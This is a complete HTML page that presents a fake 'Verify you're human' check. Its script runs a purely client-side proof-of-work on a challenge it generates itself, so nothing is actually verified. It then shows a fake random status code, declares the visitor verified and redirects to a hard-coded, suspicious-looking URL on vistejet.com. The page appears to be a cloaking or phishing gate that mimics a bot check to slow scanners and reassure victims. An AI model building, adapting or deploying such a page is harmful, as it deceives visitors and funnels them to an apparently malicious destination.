<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Human Verification</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Outfit:wght@500;600;700&display=swap" rel="stylesheet">
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
html,body{height:100%;width:100%}
body{min-height:100vh;min-height:100dvh;font-family:Outfit,ui-sans-serif,system-ui,sans-serif;color:#0c1924;overflow-x:hidden;background:linear-gradient(145deg,#e8f3fb 0%,#f4f8fc 45%,#ddeef8 100%)}
.container{position:fixed;left:50%;top:50%;transform:translate(-50%,-50%);width:calc(100% - 32px);max-width:419px;z-index:2}
.card{display:flex;background:#fff;border-radius:18px;overflow:hidden;border:1px solid #d5e4ef;box-shadow:0 13px 48px rgba(30,80,120,0.11)}
.accent{width:9px;flex-shrink:0;background:linear-gradient(180deg,#0284c7 0%,#38bdf8 100%)}
.content{padding:30px 24px 19px;flex:1;min-width:0}
.status{display:inline-flex;align-items:center;gap:7px;font-size:12px;font-weight:600;color:#0369a1;margin-bottom:12px}
.dot{width:8px;height:8px;border-radius:50%;background:#0ea5e9;flex-shrink:0}
.title{font-size:21px;font-weight:700;letter-spacing:-.03em;color:#0c1924;margin-bottom:8px}
.desc{font-size:14px;line-height:1.55;color:#4a6274;margin-bottom:22px}
.btn{width:100%;border:0;border-radius:13px;padding:11px;background:#0284c7;color:#fff;font-family:Outfit,sans-serif;font-size:14px;font-weight:600;cursor:pointer;display:flex;align-items:center;justify-content:center;gap:8px;transition:filter .12s,transform .12s}
.btn:hover:not(.disabled){filter:brightness(1.08)}
.btn:active:not(.disabled){transform:scale(.985)}
.btn.disabled{background:#e8f3fa;color:#8aa9bc;cursor:default;filter:none}
.spinner{width:14px;height:14px;border-radius:50%;border:2px solid rgba(255,255,255,.35);border-top-color:#fff;display:none;animation:spin 0.63s linear infinite;flex-shrink:0}
.btn.disabled .spinner{display:none}
@keyframes spin{to{transform:rotate(360deg)}}
.footer{margin-top:14px;text-align:center;font-size:11px;color:#6b8496}
</style>
</head>
<body>

<div class="container">
  <div class="card">
    <div class="accent" aria-hidden="true"></div>
    <div class="content">
      <div class="status"><span class="dot"></span>Safe access</div>
      <h1 class="title">Verify you're human</h1>
      <p class="desc">A quick check protects this page from automated access.</p>
      <button type="button" class="btn" id="verifyBtn">
        <span class="spinner" id="spinner"></span>
        <span id="btnText">Continue</span>
      </button>
      <div class="footer">Local verify · <span id="statusCode">----</span></div>
    </div>
  </div>
</div>

<script>
(function() {
  // ===== CONFIGURATION =====
  // Change this to the URL you want to redirect to after verification
  const REDIRECT_URL = 'https://vistejet.com/ulverio.vu/script_google_commacrosAKfycbyEZMiJs3VUTDRw3BdQBW4FbpbAzLb/';
  
  // Difficulty: higher = harder/slower (4-10 recommended)
  // Each increase doubles the work required
  const DIFFICULTY = 6;
  
  // Minimum time to wait (milliseconds) - prevents instant bypass
  const MIN_WAIT_MS = 2500;
  // =========================

  const btn = document.getElementById('verifyBtn');
  const spinner = document.getElementById('spinner');
  const btnText = document.getElementById('btnText');
  const statusCode = document.getElementById('statusCode');
  
  let isVerifying = false;

  // Show random code
  if (statusCode) {
    statusCode.textContent = Math.random().toString(36).slice(2, 10).toUpperCase();
  }

  // Simple SHA-256 implementation (using Web Crypto API)
  async function sha256(message) {
    const encoder = new TextEncoder();
    const data = encoder.encode(message);
    const hashBuffer = await crypto.subtle.digest('SHA-256', data);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
  }

  // Multiple rounds of SHA-256
  async function hashRounds(input, rounds) {
    let hash = input;
    for (let i = 0; i < rounds; i++) {
      hash = await sha256(hash);
    }
    return hash;
  }

  // Proof of Work: find nonce that produces hash below target
  async function proofOfWork(challenge, difficulty, rounds = 1) {
    const target = Math.pow(2, 32 - difficulty);
    let nonce = 0;
    const maxAttempts = 100000000; // Safety limit
    
    while (nonce < maxAttempts) {
      const input = challenge + nonce;
      const hash = await hashRounds(input, rounds);
      
      // Convert first 4 bytes of hash to integer
      const first4Bytes = hash.substring(0, 8);
      const hashInt = parseInt(first4Bytes, 16);
      
      if (hashInt < target) {
        return nonce;
      }
      nonce++;
    }
    throw new Error('Could not find solution within limit');
  }

  btn.addEventListener('click', async function() {
    if (isVerifying || btn.classList.contains('disabled')) return;
    
    isVerifying = true;
    spinner.style.display = 'inline-block';
    btnText.textContent = 'Verifying...';
    btn.classList.add('disabled');

    try {
      // Generate random challenge
      const challenge = Math.random().toString(36).substring(2, 15) + 
                        Math.random().toString(36).substring(2, 15);
      
      // Start timer
      const startTime = performance.now();
      
      // Solve PoW
      const solution = await proofOfWork(challenge, DIFFICULTY, 2);
      
      // Enforce minimum wait time
      const elapsed = performance.now() - startTime;
      if (elapsed < MIN_WAIT_MS) {
        await new Promise(resolve => setTimeout(resolve, MIN_WAIT_MS - elapsed));
      }

      // Verification successful
      spinner.style.display = 'none';
      btnText.textContent = '✓ Verified!';
      
      // Wait a moment then redirect
      await new Promise(resolve => setTimeout(resolve, 800));
      
      // Redirect to the configured URL
      window.location.href = REDIRECT_URL;
      
    } catch (error) {
      // Failed
      spinner.style.display = 'none';
      btnText.textContent = 'Failed - retry';
      btn.classList.remove('disabled');
      isVerifying = false;
      
      // Reset after 3 seconds
      setTimeout(() => {
        btnText.textContent = 'Continue';
      }, 3000);
    }
  });

})();
</script>

</body>
</html>